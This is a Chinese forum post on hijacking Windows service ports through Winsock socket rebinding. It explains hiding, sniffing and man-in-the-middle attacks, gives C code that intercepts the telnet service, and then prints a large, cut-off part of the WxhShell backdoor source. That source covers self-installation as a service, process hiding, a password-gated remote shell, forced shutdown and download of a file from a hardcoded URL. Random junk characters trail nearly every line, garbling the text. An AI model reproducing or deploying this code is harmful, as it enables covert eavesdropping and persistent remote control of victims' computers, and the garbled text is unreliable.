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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V#;6 <H"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); HFD5* Z~M  
k> I;mEV  
  saddr.sin_family = AF_INET; ' bio: 1  
\/C-e  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @`<vd@  
Ea@N:t?(8=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); KDP7u  
[\NyBc  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /esSM~*H  
>#z*gCO5,  
  这意味着什么?意味着可以进行如下的攻击: pEIc ?i*  
#87:Or1  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *S.R#4w  
uX*H2"A  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %\?2W8Qv_J  
eiB5 8b3  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 mA:NAV $!s  
`X8AM=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^\kv> WBE  
{l= !  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 a%>p"4WL  
Uv,_VS(  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 D'e'xU  
"=I ioY  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 lJ!+n<K+  
EJP##eGx  
  #include olzP=08aaV  
  #include I^'kt[P'FZ  
  #include 'ypJGm  
  #include    SS@F:5),  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4CO:*qG)o  
  int main() (9x8,f0z  
  { CW>f;  
  WORD wVersionRequested; {.2A+JT,  
  DWORD ret; b'`8$;MII  
  WSADATA wsaData; GuMsw*{>  
  BOOL val; k WYjqv  
  SOCKADDR_IN saddr; ~JY<DW7  
  SOCKADDR_IN scaddr; zm rQ7(y  
  int err; c#+JG  
  SOCKET s; =BpX;n <  
  SOCKET sc; kBd #=J  
  int caddsize; T!eb=oy  
  HANDLE mt; s }q6@I  
  DWORD tid;   AZcW f8  
  wVersionRequested = MAKEWORD( 2, 2 ); T'2(sHk  
  err = WSAStartup( wVersionRequested, &wsaData ); 3X,9K23T  
  if ( err != 0 ) { H)1< ;{:  
  printf("error!WSAStartup failed!\n"); xfw)0S  
  return -1; 6bCC6G  
  } +^hFs7je)  
  saddr.sin_family = AF_INET; #LEK?]y  
   +hg|!SS@5  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 zRsG$)B  
A<.`HCv2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0hK)/!Y  
  saddr.sin_port = htons(23); 5% C-eB  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >(EMZ5  
  { uNV (r"  
  printf("error!socket failed!\n"); pulE6T7 x  
  return -1; CZg$I&x  
  } h0`@yo  
  val = TRUE; uZ*;%y nQ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ro`Hm8o/  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) nb0V~W  
  { qCOe,$\1/  
  printf("error!setsockopt failed!\n"); G@b|{!  
  return -1; bWAhK@epI  
  } knZee!FA7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; g&;:[&% T]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "Q]`~u':  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 T:S+P t~  
3=V79&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) NK'awv),pM  
  { iO4YZ!  
  ret=GetLastError(); t>><|~wp  
  printf("error!bind failed!\n"); tn201TDZ]=  
  return -1; j.X3SQb4G  
  } YuXq   
  listen(s,2); 'cJHOd  
  while(1) hb7H- Z2  
  { 4)ez0[i$X  
  caddsize = sizeof(scaddr); I?@9;0R  
  //接受连接请求 SUxz &xH  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); HjUs}#</  
  if(sc!=INVALID_SOCKET) \'6hv>W@  
  { rWEJCFa  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~=i9]%g ?  
  if(mt==NULL) ve_TpP  
  { 1i:l  
  printf("Thread Creat Failed!\n"); Js[dT|>.  
  break; LDHuf<`  
  } B'B,,Mz  
  } FS30RP3 `/  
  CloseHandle(mt); %g}ri8  
  } fQq'_q5  
  closesocket(s); ?"[b408-  
  WSACleanup(); 0 3kzS ]g  
  return 0; 85YE6^y  
  }   .p&4]6  
  DWORD WINAPI ClientThread(LPVOID lpParam) PX}YDC zP$  
  { xpt*S~  
  SOCKET ss = (SOCKET)lpParam; 5O<7<O B  
  SOCKET sc;  Hrm^@3  
  unsigned char buf[4096]; BXy g ?  
  SOCKADDR_IN saddr; fEF1&&8^  
  long num; B uV@w-|  
  DWORD val; x;2tmof=L  
  DWORD ret; i/`N~r   
  //如果是隐藏端口应用的话,可以在此处加一些判断 ntE;*F yH  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   TyVn5XHl^  
  saddr.sin_family = AF_INET; IGEs1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); U~QIO O  
  saddr.sin_port = htons(23); 8R}CvzI  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) NL%5'8F>,  
  { FP=%e]vJ  
  printf("error!socket failed!\n"); sA=WU(4^  
  return -1; =b2/g [  
  } #Q}`kFB`  
  val = 100; 4% )I[-sH  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -R@mnG 5  
  { #x! h BS!  
  ret = GetLastError();  2bwf(  
  return -1; zts%oIgV  
  } &u0JzK  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) HTuv_kE  
  { 4`Qu+&4J  
  ret = GetLastError(); 6Pc3;X~  
  return -1; aaW(S K  
  } Ub!MyXd{q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) uuW._$.A>  
  { `+cc{k  
  printf("error!socket connect failed!\n"); 0w}OE8uq  
  closesocket(sc); D9^.Eg8W  
  closesocket(ss); %_N-~zZ1E  
  return -1; ;@ xSJqT  
  } o8c4h<,  
  while(1) Cc7PhoPK  
  { ~YO99PP  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9`eu&n@Z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 3:1 h:Yc<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;L(2Ffk8  
  num = recv(ss,buf,4096,0); |%.V{vgP7  
  if(num>0) -E_lwK  
  send(sc,buf,num,0); ` MtI>x c  
  else if(num==0) ;(AVZxCM  
  break; wd&Tf R4!  
  num = recv(sc,buf,4096,0); ew8f7S[  
  if(num>0) udYk 6  
  send(ss,buf,num,0); +Zgh[a  
  else if(num==0) R: 8\z0"L*  
  break; nw|ls2   
  } [O92JT:li  
  closesocket(ss); | wuUH  
  closesocket(sc); eCHT) 35u  
  return 0 ; 6'+;5M!  
  } C,$$bmS =  
Q^=drNV  
x-0S-1M  
========================================================== Ux5pw  
MBZ/Pzl~  
下边附上一个代码,,WXhSHELL _Eo$V&  
R]hilb'a  
========================================================== _s{on/u  
#1c%3KaZ I  
#include "stdafx.h" b`M  2VZu  
$A"C1)d;  
#include <stdio.h> t/xWJW2  
#include <string.h> ^ 'W<|  
#include <windows.h>  vU(2[  
#include <winsock2.h> <pzCpF<  
#include <winsvc.h> /~RY{ c@#L  
#include <urlmon.h> `rEu8u  
i!5zHn  
#pragma comment (lib, "Ws2_32.lib") CsfGjqpf  
#pragma comment (lib, "urlmon.lib") @ov*Fh  
Hxe!68{aR  
#define MAX_USER   100 // 最大客户端连接数 dJ~AMol  
#define BUF_SOCK   200 // sock buffer O~Eju  
#define KEY_BUFF   255 // 输入 buffer z2:^Qg  
.URCuB\{  
#define REBOOT     0   // 重启 -'ff0l  
#define SHUTDOWN   1   // 关机 G 92\` Q  
Pyfj[m4+}  
#define DEF_PORT   5000 // 监听端口 Se*o{V3s$  
N,N9K  
#define REG_LEN     16   // 注册表键长度 BWRM gN'.  
#define SVC_LEN     80   // NT服务名长度 4H@:|  
#w_cos[I  
// 从dll定义API 7mG/f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 36ygI0V_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q7uhz5oZ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a B(_ZX'L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4#jW}4C{  
aPD4S&"Q  
// wxhshell配置信息 |T!ivd1G  
struct WSCFG { X; [$yW9hE  
  int ws_port;         // 监听端口 5cY([4,  
  char ws_passstr[REG_LEN]; // 口令 n."vCP}O+  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,T:Uk*Bj  
  char ws_regname[REG_LEN]; // 注册表键名 PtP{_9%Dz  
  char ws_svcname[REG_LEN]; // 服务名 i|5.DhK}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {p -q&k&R|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |ipL.<v7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Pv@P(y?\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no pGS!Nn;K2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,+LX.f&/8!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V $'~2v{_  
 hsYS<]  
}; U tb"6_   
L;jzDng<  
// default Wxhshell configuration :x85:pa  
struct WSCFG wscfg={DEF_PORT, `[.b>ztqgJ  
    "xuhuanlingzhe", %ae|4u#b  
    1, l;+nL[%`  
    "Wxhshell", M1UabqQ  
    "Wxhshell", b8Bf,&:ys  
            "WxhShell Service", 9@'^}c#  
    "Wrsky Windows CmdShell Service", # !:u*1  
    "Please Input Your Password: ", +hoZW R  
  1, &~9'7 n!  
  "http://www.wrsky.com/wxhshell.exe", zn!H&!8&  
  "Wxhshell.exe" w +pK=R  
    }; &d5n_:^  
K=S-p3\g  
// 消息定义模块 k9]M=eO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k :KN32%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b A/,{R  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #Tm^$\*h\]  
char *msg_ws_ext="\n\rExit."; }q8 |t3  
char *msg_ws_end="\n\rQuit."; G)<NzZo  
char *msg_ws_boot="\n\rReboot..."; AcRrk  
char *msg_ws_poff="\n\rShutdown..."; G3Z>,"w;=  
char *msg_ws_down="\n\rSave to "; BC*)@=7fx  
4gyC?#Ede  
char *msg_ws_err="\n\rErr!"; suo;+T=`I  
char *msg_ws_ok="\n\rOK!"; by*?PhfF  
V?_:-!NJ(  
char ExeFile[MAX_PATH]; 3 VNPdXsh  
int nUser = 0; ]'  ck!eG  
HANDLE handles[MAX_USER]; S_ELZO#7  
int OsIsNt; ^a,Oi%  
3mmp5 d  
SERVICE_STATUS       serviceStatus; ZeB"k)FI>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; WD`z\{hcom  
45?aV@  
// 函数声明 'r/+z a:2  
int Install(void); A@:h\<  
int Uninstall(void); ->H4!FS  
int DownloadFile(char *sURL, SOCKET wsh); /RWQ+Zf-Y]  
int Boot(int flag); "`va_Mk  
void HideProc(void); F0Nl,9h('  
int GetOsVer(void); `B1r+uTP~  
int Wxhshell(SOCKET wsl); |"gg2p  
void TalkWithClient(void *cs); ( L{>la!  
int CmdShell(SOCKET sock); )R~l@QBN  
int StartFromService(void); 7IEG%FY T  
int StartWxhshell(LPSTR lpCmdLine); A(j9T,!  
oR``Jiob|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _lK+/"-l  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,RA;X  
jUtFDw  
// 数据结构和表定义 VXfp=JE  
SERVICE_TABLE_ENTRY DispatchTable[] = F'NX  
{ PM(M c]6  
{wscfg.ws_svcname, NTServiceMain}, H!H&<71-  
{NULL, NULL} 4y: pj7h  
}; L4Nn:9b  
te<lCD6  
// 自我安装 zYCS K~-GW  
int Install(void) NZ{)&ObBRt  
{ .()|0A B&g  
  char svExeFile[MAX_PATH]; 6jDHA3  
  HKEY key; PN(P$6  
  strcpy(svExeFile,ExeFile); 7{"urs7 T  
3zr95$Mt  
// 如果是win9x系统,修改注册表设为自启动 t9C.|6X  
if(!OsIsNt) { XA1gV>SJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~4T:v _Q7g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tAi ~i;?  
  RegCloseKey(key); N*B_ or  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b$*1!a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @N(*1,s2  
  RegCloseKey(key); NQ9/,M  
  return 0; [9-&Lq_ g  
    } M15jwR!:M  
  } ^9jrI  
} <SPT2NyX  
else { G (Ky7S Z  
! 0}SZ  
// 如果是NT以上系统,安装为系统服务 %U<1]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &/\Q6$a  
if (schSCManager!=0) l- mt{2  
{ 1xf Pe#  
  SC_HANDLE schService = CreateService NKX,[o1  
  ( be->ofUYgs  
  schSCManager, $FJf8u`  
  wscfg.ws_svcname,  << XWL:  
  wscfg.ws_svcdisp, 9ZYT#h  
  SERVICE_ALL_ACCESS, ntZl(]l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ru>c\X^|  
  SERVICE_AUTO_START, #Yd 'Vve  
  SERVICE_ERROR_NORMAL, bJWPr  
  svExeFile, L-,C5^  
  NULL, }Dc7'GZ  
  NULL, fzk^QrB  
  NULL, Zf,9 k".'C  
  NULL, 3$~oQC  
  NULL uXm_ pQpF  
  ); %fF0<c^-U  
  if (schService!=0) Y3n6y+Uzk  
  { A,u}p rwH  
  CloseServiceHandle(schService); H,Y+n)5  
  CloseServiceHandle(schSCManager); G+S MH`h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); # fe%E.  
  strcat(svExeFile,wscfg.ws_svcname); ^U8^P]{R|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M hwuh`v%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z,f  
  RegCloseKey(key); ==ZL0 ][  
  return 0; ^+MG"|)u~  
    } %b1NlzB+  
  } &BZjQK  
  CloseServiceHandle(schSCManager); UG,<\k&  
} \@eaSa  
} /=i+7^  
/>13?o#  
return 1; gK#G8V-,  
} "C~Zl&3  
<J o\RUx  
// 自我卸载 ],l}J'.8<V  
int Uninstall(void) |z 8Wh  
{ 4~DW7 (  
  HKEY key; ; `Vbl_"L  
4UISuYg'  
if(!OsIsNt) { d95 $w8>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z'cL"n\9R]  
  RegDeleteValue(key,wscfg.ws_regname); K1oSoD8c  
  RegCloseKey(key); Qw@_.I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u|Tg*B  
  RegDeleteValue(key,wscfg.ws_regname); ZR*Dl.GWY  
  RegCloseKey(key); g~v>{F+u  
  return 0; U(~d^9/#  
  } +>BD^[^^  
} MRb6O!$`C  
} h3YWqSj  
else { ?H0"*8C?Y  
5bHS|<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gY/p\kwsj  
if (schSCManager!=0) H3Zs m)+:  
{ J};=)xLX;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IPa)+ ZQ  
  if (schService!=0) ;%YAiW8{Xk  
  { (DTXc2)c  
  if(DeleteService(schService)!=0) { @ |^;d  
  CloseServiceHandle(schService); Ni Y.OwKr  
  CloseServiceHandle(schSCManager); $OP w$  
  return 0; 6^#@y|.  
  } o'*7I|7a  
  CloseServiceHandle(schService); g?1! /+  
  } wyC1M  
  CloseServiceHandle(schSCManager); ?rSm6V  
} 6)#=@i` \  
} [6}>?  
F&6Xo]?  
return 1; H"vy[/UcR  
} 6_zyPh  
.% {4B,d$  
// 从指定url下载文件 0w9[Z  
int DownloadFile(char *sURL, SOCKET wsh) )oCb9K:km  
{  '.5_L8  
  HRESULT hr; 7dq*e4z)  
char seps[]= "/"; Pgo^$xn'6  
char *token; V 3yt{3Or  
char *file; FI=]K8  
char myURL[MAX_PATH]; (;T g1$  
char myFILE[MAX_PATH]; o"M h wh  
o4Hp|iK&0  
strcpy(myURL,sURL); Uf`~0=w  
  token=strtok(myURL,seps); 4cQ|"sOzD  
  while(token!=NULL) RS9mAeX4h  
  { 7:P+S%ZL  
    file=token; qf?X:9Wt  
  token=strtok(NULL,seps); Ns#R`WG)  
  } UWIw/(Mv/]  
l0@+ &Xj  
GetCurrentDirectory(MAX_PATH,myFILE); d>k"#|  
strcat(myFILE, "\\"); >oasA2S  
strcat(myFILE, file); D%,AdR"m  
  send(wsh,myFILE,strlen(myFILE),0); fKQq]&~ H  
send(wsh,"...",3,0); Q3P*&6wA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >u/ T`$  
  if(hr==S_OK) N799@:.  
return 0; $^Z ugD  
else 0$1-5XY9  
return 1; WJs2d73Qp  
72akOx   
} ])D39  
[ m#|[%  
// 系统电源模块  Y!*F-v@  
int Boot(int flag) k:sFI @g  
{ (N/KP+J$n  
  HANDLE hToken; SXF~>|h5<  
  TOKEN_PRIVILEGES tkp; c_dg/ !Iu  
Lju)q6  
  if(OsIsNt) { am(jmf::  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?o883!&v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vC|V8ea  
    tkp.PrivilegeCount = 1; us$=)m~v+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 's7 (^1hH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {6Qd,CX  
if(flag==REBOOT) { ! 1wf/C;=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "4[8pZO/  
  return 0; i-E/#zni  
} FAbl5VW'  
else { L.R4 iN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Bq*aP*jv  
  return 0; ,o68xfdZVW  
} [_w;=l0 ;  
  } S*9qpes-m|  
  else { vd]75  
if(flag==REBOOT) { Udl8?EVSz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %wk3&EC.  
  return 0; MFqM 6_  
} /KLs+^c5  
else { 9n!IdqKN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C[IY9s:Pf  
  return 0; Qs1e0LwA9  
} f>kW\uC  
} i?D KKjN$  
CF0i72ul5  
return 1; jp|1S^b  
} +u|p<z  
Im<(  
// win9x进程隐藏模块 d^W1;0  
void HideProc(void) ,'z=cB`+o  
{ eR*y<K(d  
Aat-938FP6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^Z`?mNq9  
  if ( hKernel != NULL ) lVR a{._m  
  { Kh,zp{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); JVawWw0q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :0'2m@x~  
    FreeLibrary(hKernel); e=#'rDm  
  } hQPNxpe  
TF7~eyLg  
return; REc+@;B  
} R}J}Q b  
%IhUQ6  
// 获取操作系统版本 *!- J"h  
int GetOsVer(void) 6 ~LCj"  
{ 8P[aX3T7G  
  OSVERSIONINFO winfo; <V_P)b8$1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  HLsG<#  
  GetVersionEx(&winfo); 5ON\Ve_H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e3!0<A[X  
  return 1; at5>h   
  else Lj#K^c Ee  
  return 0; 6-!U\R2Z>  
} Z(0sMOaX  
GiGXV @dq  
// 客户端句柄模块 .]D7Il  
int Wxhshell(SOCKET wsl) #Rx|oSc}  
{ iwS55o  
  SOCKET wsh; |z%:{  
  struct sockaddr_in client; }VI}O{  
  DWORD myID; n,vs(ZL:  
?X5Y8n]y\h  
  while(nUser<MAX_USER) }=T=Z#OgH  
{ `iT{H]po  
  int nSize=sizeof(client); IyJHKDFk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Yv ZcG3@c3  
  if(wsh==INVALID_SOCKET) return 1; C]'ru  
I?Fv!5p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yG..B  
if(handles[nUser]==0) V_p[mSKJv  
  closesocket(wsh); g*%z{w  
else Kg>ehn4S@  
  nUser++; 6Qh@lro;y  
  } U,e'vS{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0<'Q;'2* L  
fq,LXQ#G  
  return 0; ] lONi  
} |jT^[q(z  
:y%CP8  
// 关闭 socket io{\+%;b~  
void CloseIt(SOCKET wsh) [ :*Jn}  
{ 8AgKK=C =  
closesocket(wsh); ]sL)[o  
nUser--; K#_x.: <J  
ExitThread(0); ecIZ +G)k  
} & Y Y^Bd#  
!wNj;ST*  
// 客户端请求句柄 'wm :Xa  
void TalkWithClient(void *cs) (eEs0  
{ T\3a T  
5N.-m;s  
  SOCKET wsh=(SOCKET)cs; ~8l(,N0  
  char pwd[SVC_LEN]; .`@)c/<0  
  char cmd[KEY_BUFF]; yuA+YZ  
char chr[1]; TcEvUZJ"  
int i,j; P|' eM%  
).l`N&_peM  
  while (nUser < MAX_USER) { PT/TQW  
{a6cA=WTPd  
if(wscfg.ws_passstr) { '"Z\8;5i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t'{IE!_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "`q:  
  //ZeroMemory(pwd,KEY_BUFF); g+1&liV  
      i=0; ~>-MVp  
  while(i<SVC_LEN) { _'Rzu'$`  
%8hjMds  
  // 设置超时 05PRlz *x=  
  fd_set FdRead; P~d&PhOe  
  struct timeval TimeOut; x4=Sm0Ro|V  
  FD_ZERO(&FdRead); hw9qnSeRy  
  FD_SET(wsh,&FdRead); 'h.:-1# L  
  TimeOut.tv_sec=8; m(DJ6CSa  
  TimeOut.tv_usec=0; B3C%**~:e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZlG|U]mM5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ef~Ar@4fA  
6>=yX6U1q^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fWk,k*Z 9  
  pwd=chr[0]; ta+MH,  
  if(chr[0]==0xd || chr[0]==0xa) { nkTpUbS'f?  
  pwd=0; =&~7Q"  
  break; [~&yLccN  
  } ~OSgpM#O!T  
  i++; b<bj5m4fz>  
    } [Rxbb+,U  
p'f8?jt  
  // 如果是非法用户,关闭 socket 7H!/et?S,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o!@}&DE|*L  
} h'm-]v  
;vuqI5k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,$A'Y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {a9( Qi  
' Ih f|;r  
while(1) { ='G-wX&k  
3LW_qX  
  ZeroMemory(cmd,KEY_BUFF); 0aM&+j\q}  
^I y'G44  
      // 自动支持客户端 telnet标准   o|G[/o2  
  j=0; XDQ5qfE|  
  while(j<KEY_BUFF) { D`NPU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +{h.nqdAE  
  cmd[j]=chr[0]; 1W r,E#+C  
  if(chr[0]==0xa || chr[0]==0xd) { Nbvs_>N   
  cmd[j]=0; |w].*c}Z  
  break; #T3dfVWv  
  } &,8F!)[9  
  j++; J5Ovj,[EZ  
    } N5d)&a 7?  
gzd<D}2F~  
  // 下载文件 Kg6[  
  if(strstr(cmd,"http://")) { e%_J O7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @i <vlHpl  
  if(DownloadFile(cmd,wsh)) FKBI.}A?!'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  PrqyJ  
  else z;Jz^m-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9y+0Zj+.  
  } E^4}l2m_  
  else { O;lGh1.  
WRov7  
    switch(cmd[0]) { [jEZ5]%  
  iu.v8I ;<  
  // 帮助 B? Z_~Bf&  
  case '?': { 9T#${NK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ItD&L ))  
    break; =n<Lbl(7  
  } CuT50N;tk  
  // 安装 Q].p/-[(  
  case 'i': { (Cb;=:3G  
    if(Install()) \"pp-str  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /Os6i&;  
    else A9_} RJ9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !9t,#?!  
    break; WCD)yTg:ES  
    } e|}B;<  
  // 卸载 B",;z)(%  
  case 'r': { z_8lf_N  
    if(Uninstall()) .+(R,SvN%<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %k'>bmJ  
    else <&RpGAk%I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \2))c@@%  
    break; R8-=N+hX  
    } ?[<#>,W  
  // 显示 wxhshell 所在路径 yu>)[|-  
  case 'p': { oJ?,X^~_  
    char svExeFile[MAX_PATH]; < Dt/JA(p  
    strcpy(svExeFile,"\n\r"); BUS4 T#D  
      strcat(svExeFile,ExeFile); VVJIJ9L&C  
        send(wsh,svExeFile,strlen(svExeFile),0); 9? y&/D5O  
    break; cq0-D d9^&  
    } ryNe=9p  
  // 重启 5=&ME(fmV  
  case 'b': { c!ieN9^+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J9-n3o  
    if(Boot(REBOOT)) X;]I jha<*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -v! ;  
    else { Ye S5%?Fk  
    closesocket(wsh); s}F.D^^G  
    ExitThread(0); 1ixBwnp?  
    } }qT{" *SC  
    break; [vqf hpz  
    } ;ObrBN,Fu  
  // 关机 "H#pN;)+   
  case 'd': { {l"(EeW6)  
